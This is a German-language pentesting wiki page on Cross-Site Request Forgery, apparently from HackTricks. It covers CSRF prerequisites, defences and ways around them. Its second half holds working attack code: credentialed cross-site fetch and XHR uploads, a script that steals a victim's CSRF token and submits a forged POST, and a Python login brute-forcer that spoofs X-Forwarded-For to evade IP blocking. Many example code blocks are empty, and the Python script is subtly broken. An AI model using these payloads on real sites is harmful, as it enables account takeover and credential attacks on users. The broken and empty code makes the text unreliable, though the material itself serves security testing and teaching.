# CSRF (Cross Site Request Forgery)
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Erklärt
**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitsanfälligkeit, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer durch Ausnutzung ihrer authentifizierten Sitzungen auszuführen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Seite besucht. Diese Seite löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Einreichen von Formularen oder das Abrufen von Bildern verwendet.
### Voraussetzungen für einen CSRF-Angriff
Um eine CSRF-Anfälligkeit auszunutzen, müssen mehrere Bedingungen erfüllt sein:
1. **Identifizieren einer wertvollen Aktion**: Der Angreifer muss eine Aktion finden, die es wert ist, ausgenutzt zu werden, wie das Ändern des Passworts, der E-Mail oder das Erhöhen von Berechtigungen.
2. **Sitzungsmanagement**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können.
3. **Fehlen unvorhersehbarer Parameter**: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.
### Schnelle Überprüfung
Sie könnten **die Anfrage in Burp abfangen** und die CSRF-Schutzmaßnahmen überprüfen. Um dies im Browser zu testen, können Sie auf **Copy as fetch** klicken und die Anfrage überprüfen:
### Verteidigung gegen CSRF
Mehrere Gegenmaßnahmen können implementiert werden, um sich gegen CSRF-Angriffe zu schützen:
- [**SameSite-Cookies**](hacking-with-cookies/index.html#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [Mehr über SameSite-Cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-Origin Resource Sharing**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. [Erfahren Sie mehr über CORS-Umgehung](cors-bypass.md).
- **Benutzerauthentifizierung**: Das Anfordern des Passworts des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
- **Überprüfung von Referrer- oder Origin-Headern**: Die Validierung dieser Header kann helfen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Allerdings kann eine sorgfältige Gestaltung von URLs schlecht implementierte Überprüfungen umgehen, wie zum Beispiel:
- Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL)
- Verwendung von `http://example.com.mal.net` (URL beginnt mit der vertrauenswürdigen URL)
- **Ändern von Parameternamen**: Das Ändern der Namen von Parametern in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
- **CSRF-Token**: Die Einbeziehung eines einzigartigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen kann das Risiko von CSRF erheblich mindern. Die Wirksamkeit des Tokens kann durch die Durchsetzung von CORS erhöht werden.
Das Verständnis und die Implementierung dieser Verteidigungen sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von Webanwendungen.
## Umgehung der Verteidigungen
### Von POST zu GET
Vielleicht ist das Formular, das Sie ausnutzen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob auch eine **GET-Anfrage** **gültig** ist und ob bei der Sendung einer GET-Anfrage das **CSRF-Token weiterhin validiert wird**.
### Fehlendes Token
Anwendungen könnten einen Mechanismus implementieren, um **Tokens** zu **validieren**, wenn sie vorhanden sind. Eine Sicherheitsanfälligkeit entsteht jedoch, wenn die Validierung ganz übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie **den Parameter entfernen**, der das Token trägt, nicht nur dessen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen.
### CSRF-Token ist nicht an die Benutzersitzung gebunden
Anwendungen, die **CSRF-Token nicht an Benutzersitzungen binden**, stellen ein erhebliches **Sicherheitsrisiko** dar. Diese Systeme überprüfen Tokens gegen einen **globalen Pool**, anstatt sicherzustellen, dass jedes Token an die initiierende Sitzung gebunden ist.
So nutzen Angreifer dies aus:
1. **Authentifizieren** mit ihrem eigenen Konto.
2. **Ein gültiges CSRF-Token** aus dem globalen Pool **erhalten**.
3. **Dieses Token** in einem CSRF-Angriff gegen ein Opfer **verwenden**.
Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen und die **unzureichende Token-Validierungsmechanismus** der Anwendung auszunutzen.
### Methodenumgehung
Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methoden** **Überschreibungsfunktionalität** funktioniert. Wenn beispielsweise die **PUT**-Methode verwendet wird, können Sie versuchen, die **POST**-Methode zu **verwenden** und **zu senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Dies könnte auch funktionieren, indem Sie den **\_method-Parameter innerhalb einer POST-Anfrage** senden oder die **Header** verwenden:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### Umgehung des benutzerdefinierten Header-Tokens
Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** als **CSRF-Schutzmethode** hinzufügt, dann:
- Testen Sie die Anfrage ohne den **angepassten Token und auch den Header.**
- Testen Sie die Anfrage mit genau **gleicher Länge, aber unterschiedlichem Token**.
### CSRF-Token wird durch ein Cookie verifiziert
Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie überprüft, ob das Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt.
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwächen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Sicherheitsanfälligkeit. Der Angreifer kann dies ausnutzen, indem er ein täuschendes Bild lädt, das das Cookie setzt, gefolgt von der Einleitung des CSRF-Angriffs.
Hier ist ein Beispiel, wie ein Angriff strukturiert sein könnte:
```html
```
> [!NOTE]
> Beachten Sie, dass wenn das **csrf-Token mit dem Sitzungscookie verbunden ist, dieser Angriff nicht funktionieren wird**, da Sie die Sitzung des Opfers setzen müssen, und daher würden Sie sich selbst angreifen.
### Content-Type-Änderung
Laut [**dieser**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) Quelle, um **Preflight**-Anfragen mit der **POST**-Methode zu **vermeiden**, sind die erlaubten Content-Type-Werte:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Beachten Sie jedoch, dass die **Logik der Server variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ ausprobieren.
Beispiel (von [hier](https://brycec.me/posts/corctf_2021_challenges)) für das Senden von JSON-Daten als text/plain:
```html
```
### Umgehen von Preflight-Anfragen für JSON-Daten
Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, `Content-Type: application/json` in einem HTML-Formular zu verwenden. Ebenso initiiert die Nutzung von `XMLHttpRequest`, um diesen Inhaltstyp zu senden, eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
1. **Verwendung alternativer Inhaltstypen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Dieser Ansatz testet, ob das Backend die Daten unabhängig vom Content-Type nutzt.
2. **Inhaltstyp ändern**: Um eine Preflight-Anfrage zu vermeiden und sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte jedoch vom Server korrekt verarbeitet werden, wenn er so konfiguriert ist, dass er `application/json` akzeptiert.
3. **Nutzung von SWF Flash-Dateien**: Eine weniger gängige, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Umgehung der Referrer-/Origin-Prüfung
**Vermeiden Sie den Referrer-Header**
Anwendungen können den 'Referer'-Header nur validieren, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann der folgende HTML-Meta-Tag verwendet werden:
```xml
```
Dies stellt sicher, dass der 'Referer'-Header weggelassen wird, was möglicherweise Validierungsprüfungen in einigen Anwendungen umgeht.
**Regexp-Umgehungen**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Um den Domainnamen des Servers in der URL festzulegen, die der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:
```html
```
### **HEAD-Methode umgehen**
Im ersten Teil von [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wird erklärt, dass [Oaks Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281) einen Router festlegt, der **HEAD-Anfragen als GET-Anfragen** ohne Antwortkörper behandelt - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstatt einen spezifischen Handler zu haben, der sich mit HEAD-Anfragen befasst, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**.
Daher, wenn eine GET-Anfrage eingeschränkt wird, könntest du einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**.
## **Exploit-Beispiele**
### **Exfiltrieren des CSRF-Tokens**
Wenn ein **CSRF-Token** als **Schutz** verwendet wird, könntest du versuchen, es zu **exfiltrieren**, indem du eine [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)-Schwachstelle oder eine [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)-Schwachstelle ausnutzt.
### **GET mit HTML-Tags**
```xml
404 - Page not found
The URL you are requesting is no longer available
```
Andere HTML5-Tags, die verwendet werden können, um automatisch eine GET-Anfrage zu senden, sind:
```html
```
### Form GET-Anfrage
```html
```
### Form POST-Anfrage
```html
```
### Form POST-Anfrage über iframe
```html
```
### **Ajax POST-Anfrage**
```html
```
### multipart/form-data POST-Anfrage
```javascript
myFormData = new FormData()
var blob = new Blob([""], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST-Anfrage v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Form POST-Anfrage aus einem iframe heraus
```html
<--! expl.html -->
Sitio bajo mantenimiento. Disculpe las molestias
```
### **CSRF-Token stehlen und eine POST-Anfrage senden**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **CSRF-Token stehlen und eine Post-Anfrage mit einem iframe, einem Formular und Ajax senden**
```html
```
### **CSRF-Token stehlen und eine POST-Anfrage mit einem iframe und einem Formular senden**
```html
```
### **Token stehlen und mit 2 iframes senden**
```html
```
### **POSTSteal CSRF-Token mit Ajax und sende ein Post mit einem Formular**
```html
```
### CSRF mit Socket.IO
```html
```
## CSRF Login Brute Force
Der Code kann verwendet werden, um ein Login-Formular mit einem CSRF-Token zu bruteforcen (er verwendet auch den Header X-Forwarded-For, um einen möglichen IP-Blacklist-Umgehung zu versuchen):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Tools
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## References
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
{{#include ../banners/hacktricks-training.md}}